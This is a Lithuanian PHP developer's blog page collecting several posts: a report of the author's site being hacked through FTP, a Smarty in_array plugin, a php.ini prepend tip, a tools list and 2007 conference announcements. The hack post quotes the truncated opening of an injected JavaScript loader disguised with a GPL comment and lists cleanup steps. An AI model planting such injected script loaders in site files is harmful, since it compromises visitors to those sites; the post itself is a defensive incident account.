Patiko? Prenumeruok el. paštu

Straipsniai pagal gairę

Jei pas jus įsilaužė į svetainę

Šiandien užsukęs į savo svetainę pamačiau, kad ji neveikia. Kadangi aš prieš tai tikrai nieko nekenčiau. Prisijungęs prie serverio per FTP pastebėjau, kad įterptas failo gale kodas:

/*GNU GPL*/ try{window.onload = function(){var Xs1ya4t7ajb13i = document.createElement(‘script’);Xs1ya4t7ajb13i.setAttribute(‘type’, ‘text/javascript’);[.. ir t.t. ..] catch(e) {}

Ir toks pakeitimas tikrai ne vienas, pakeista virš 2000 failų. Atakuojami failai (*.js, index.php(phtml|html|htm), main.php(phtml|html|htm). Visą failų sąrašą galima gauti pas adminus.

Gavęs sąrašą failų iš admino matosi, kad buvo panaudotas vos ne visas BOT tinklas, nes prisijungimai buvo daromi daugiau ne 10 (tingiu skaičiuoti) kompiuterių iš skirtingų tinklų.

Ką tokiu atveju daryti?

  • Visų pirma pasikeisti FTP slaptažodžius
  • Žinoma, naikinti kodus (nesmagus užsiėmimas)
  • Pasitikrinti virusus savo kompe (ar ten kur yra jūsų prisijungimai)
  • Ką dar siūlote?

Smarty pluginas: in array

Kai aš pradėjau programuoti tiek programinio kodo logiką, tiek atvaizdavimą dėjau į vieną vietą. Tai tikrai yra blogai, nes skaitomumas stipriai sumažėja. Šiektiek paaugus pradėjau naudoti paprastą šablonų sistemą phemplate. Viskas gerai, kol neprireikia šiek tiek paprastos logikos. Tada prade naudoti įvairiausius apgaulės būdus, kurie tikrai nėra patogūs. Žinoma galima pasirinkti šablonų sistemą kuri turi savyje logikos, kad ir smarty. Bet visuomet susiduriama su tokių šablonų trūkumais, nes atsiranda tikrinimo variantai, kurių pati sistema nepalaiko. Tada pagalvoji, kad geriausia šablonų sistema yra pati programavimo kalba. Tereikia atskirti failais logiką bei atvaizdavimą ir štai mes turime galingą šablonų sistemą. Bet vis dėl to jei esate pririštas prie smarty galima pasidžiaugti, kad galima kurti papildomas galimybes pačiam.

Visai neseniai man reikėjo susirasti paprastą sprendimą php komandai in_array. Smarty to nepalaiko. Pasinaudojus “insert” galimybę sukuriamas naujas pluginas.

function smarty_insert_code_in_array($params, &$smarty) { $bResult = false; if (isset($params['value']) && isset($params['array']) && is_array($params['array'])) { if (in_array($params['value'], $params['array'])) { $bResult = true; } } if (!isset($params['var'])) { $outvar = "rez_inarray"; } else { $outvar = $params['var']; } $smarty->assign($outvar, $bResult); }

Šį failą įrašome tarkim čia smarty/plugins/insert.code_in_array.php

O panaudoti gan paprasta:

{insert name="code_in_array" array=$manomasyvas value=$ieskomareiksme var="atsakymas"}

ir turėsime mes kintamąjį $atsakymas kurį jau galėsime panaudoti.

Zend Neon public beta

Vienas iš geriausių redaktorių, kuris skirtas bet kuriai programavimo kalbai (na galbūt visom) yra Eclipsė. Ji yra kaip varikliukas turinti kažkokias pagrindines savybes, ji gali būti stipriai išplečiama taip vadinamais pluginais, kurių daugelis yra nemokamų. Tarkim pats mieliausias (bent man) CVS / SVN integracija yra eklipsėje. Kodėl? Ogi visų pirma susinchronizuoji pakeitimus… palygini su dabartine versija, o tik poto atlieki vaiksmus (update / commit).

Skaityti toliau »

Mažas PHP tipsas produktyvumui patobulinti

Turbūt, kaip ir daugeliui žmonių tenka dirbti ne su vienu projektu ir turiu keletą savo pamėgtų funkcijų skirtų testavimui / duomenų atvaizdavimui. Ne visuomet galima savo tas specifines funkcijas traukti į projektą, ypač jai jas naudoji tik pats. Arba ši situacija panaši ir į tą, kai serveryje reikia kažkokių bendrų pasirašytų mechanizmų, kuris paleidžiamas prieš pagrindines programas. Kokios jos gali būti, tai jūsų vaizduotės vaizdas. Ką reiktų daryti?

Ogi atsidarome php.ini failiuką susrandame eilutes ir šiektiek paredaguojam:

; Automatically add files before or after any PHP document. auto_prepend_file = "D:/!Server/PHP/autoopen.php"; #auto_append_file =

Pvz maniškiame sėdi viena dažniausių naudojamų mano specifinių (patobulintų) funkcijų. Kas gali būti pas jus… tai jūsų vaizduotės vaizdas.

[code lang=”php”]
function print_r_($var , $title = “PRINT_R”) {
$str = array();
$str[] = “

";
  $str[] = print_r($var ,1);
  $str[] = "

“;
whyout(implode(“\n”, $str), $title);
}

function whyout($data, $title = “TITLE”) {
$str = array();
$str[] = “

“;
$str[] = “

“;
$str[] = $title;
$str[] = “

“;
$str[] = $data;
$str[] = “

“;
echo implode(“”, $str);
}
[/code]

Kas nesuprato, tai paprasčiausias print_r. tik šiek tiek grafiškai apipavidalintas. Bent man jis daug produktyviau veikia, nei paprastas variantas.

PHP saugumas: Saugus programinis kodas. 1 dalis.

Vietoj įžangos

Šiuo pirmu įrašu norėčiau pradėti “paskaitų ciklą” apie teisingą programavimą. Informacija bus pateikiama ne tik iš mano asmeninės patirties, bet ir iš kitų šaltiniu. Tikrai nesakau, kad viską aš čia surašysiu, bet tai bus puiki pradžia. Reiktų atkreipti dėmesį į tai, kad su bet kuria programavimo kalba galima programuoti tiek saugiai, tiek ne. Kadangi PHP yra populiariausia programavimo kalba bei mano duona – mano kalba bus daug labiau pritaikyta PHP.
Skaityti toliau »

Security trainingo skaidrės

Kas buvo security training’e turbūt laukiate skaidrių. Jas jau galite parsisiųsti.

O tą žadėtą konferencijos saugumo aprašymą vis dar rašau (sėdi vis dar draftuose) . Po truputėlį… nesinori bet kaip viską aprašyti.

Naudingos PHP programuotojui programos

Kiekvienas dirbantis savo srityje turi įrankius, web programuotojas ne išimtis. Kadangi esu PHP programuotojas parašysiu ką naudoju ir kokie įrankiai po ranka.

  • Zend Studio – turintis daug gerių savybių PHP redaktorius… deja kainuojantis.
  • Eclipse – Galingas redaktorius skirtas redaguoti įvairių progamavimo kalbų kodui su sintaksės spalvinimu, autocomplete palaikymu ir t.t. Tereikia įsidiegti papildomus pluginus ir jūs turėsite naujų savybių. Šioje programoje yra bent man geriausias matytas CVS/SVN palaikymo pricipas: sinchronizacija skirtymų – atnaujini tik tai ką tau reikia. Na PHP programuotojai gali pradėti diegti nuo PHPEclipse iškart gaus PHP palaikyma. Nemokamas
  • SQLyog MySQL GUI – Community Edition – MySQL duomenų bazės programėlė. Patogu testuoti užklausas, analizuoti struktūras ir t.t. Maloniausia, kad ši versija nemokama. Mokomoj versijoje atsiranda kitų gerų toolsų, tokių kaip duomenų bazių palyginimas (skirtumai ir etc), sinchronozavimai, exportavimai/importavimai iš įvairių formatų. Nemokamas
  • WinMerge – Failų skirtymų palyginima.
  • The Regex Coach – reguliujų išraiškų programėlė. Palengvina regex’ų rašya
  • Na turbūt į sąrašą reiktų įtraukti ir žymujį PHPMyAdmin bet PHP manualą (tiesa chm formate su paieška ir komentarais) :)

Kas būtų dar naudinga? Jūsų nuomonė…

PHP konferencija 2007 – registracija

Registracija į PHP konferenciją prasidėjo, užpildžius simple formą – tereiks laukti konferencijos dienos. Paskubėkite nes tik 80 vietų yra viso.

PHP security training

Heh paskutiniai mano postai vien apie konfas ir kas su tuo susiję. Šis postas ne išimtis. Turbūt daugelis pasigedo, kad būsimoje PHP konferecijoje trūksta saugumo temos. Na vietoj mažos paskaitėlės galima pasiųlyti net 2 dienų paskaitas, o temų gvildenamų tikrai ne viena ir ne dvi.

johann-peter-hartmann.jpgSaugumo konferencija praves Johann-Peter Hartmann (CTO, Mayflower GmbH) iš Vokietijos. Šis žmogelis php dokumentacijos komandos narys, prisidėjas prie PEAR, PECL projektų. Ne tik rašė straipsnius į įvairius žurnalus, ar dalyvaudavo konferencijose kaip skaitovas, bet ir atilieka saugumo auditus žymiems projektams, bankams ir pan.

Šis pasisėdėjimas vyks net 2 dienas, ir deja kainuos 60Lt. Bet palyginus informacijos kiekį, tai tikrai maža suma.
Platesnė informacija technopark svetainėje ir ten galėsite registruotis.

Veiksmas bus Kaune, KTU verslo inkubatoriuje (2007 04 16-17). Jei žmonių bus daugiau vieta gali kisti.

PHP konferencija 2007 – Temos

Jau paskelbtos PHP konferencijos temos. Manau ši konferencija bus viena įdomiausiu ir vertingiausių. Kviečiu dalyvausti visus PHP entuziastus. Malonaus susitikimo.

Paskelbtos temos (gal bus daugiau…)

  • Tu jais netikėk: Istorijos ir mitai iš PHP fronto
    Domas Mituzas, Support Engineer MySQL
  • Automatinis PHP programų testavimas su praktiniais pavyzdžiais
    Tomas Liubinas, OXID eSales GmbH vyr. programuotojas, pirmas Lietuvoje Zend sertifikuotas inžinierius
  • PHP ir dideli duomenų kiekiai
    Ričardas Švarplis, UAB Net Frequency vyr. programuotojas, duomenų bazių specialistas
  • Geras kešas, blogas kešas. Bernardinai.lt perdarymas
    Emilis Dambauskas [lunaticLT]
  • Projektų valdymas mažose komandose
    Juozas Šalna [pukomuko]
  • Metodologijos = bullshit’as! Kuriame savo metodologija
    Vilius Zigmantas, MTV Networks Baltic IT analitiko ir Digital Operations Manager
  • Metaprogramavimas PHP5
    Artūras Šlajus [arturaz]
  • REST
    Rimantas Liubertas [ImCat], W3C standartų guru

Vieta: Studentų g. 48a-337 (DMC salė)
Laikas: 11:00 Balandžio 14d